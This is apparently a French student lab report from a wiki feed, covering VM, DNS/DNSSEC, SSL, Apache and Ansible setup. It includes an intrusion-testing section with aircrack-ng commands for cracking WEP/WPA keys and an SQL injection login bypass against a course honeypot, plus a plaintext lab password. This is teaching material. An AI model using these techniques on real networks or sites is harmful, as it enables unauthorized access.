     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
==Setup SSH==&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On &lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 # &lt;br /&gt;
 #  Security updates&lt;br /&gt;
 # &lt;br /&gt;
 deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;br /&gt;
&lt;br /&gt;
==Setup Docker==&lt;br /&gt;
On installe docker grâce à la commande &lt;br /&gt;
 $ ansible-galaxy install geerlingguy.docker&lt;br /&gt;
&lt;br /&gt;
on ajoute alors a polytech.yaml : &lt;br /&gt;
 - role: geerlingguy.docker&lt;br /&gt;
   tags: docker&lt;br /&gt;
&lt;br /&gt;
==Ip table==&lt;br /&gt;
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.&lt;br /&gt;
On créé un role dédié, nommé firewall.&lt;br /&gt;
main.yml de firexall : &lt;br /&gt;
 ---&lt;br /&gt;
 - name: &amp;quot;Block TCP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot;\\{\\{ item \\}\\}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8500&amp;quot;&lt;br /&gt;
     - &amp;quot;8501&amp;quot;&lt;br /&gt;
     - &amp;quot;8502&amp;quot;&lt;br /&gt;
     - &amp;quot;8300&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;br /&gt;
 - name: &amp;quot;Block UDP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot;{{ item }}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58002</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58002"/>
				<updated>2022-01-12T12:30:56Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Ip table */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
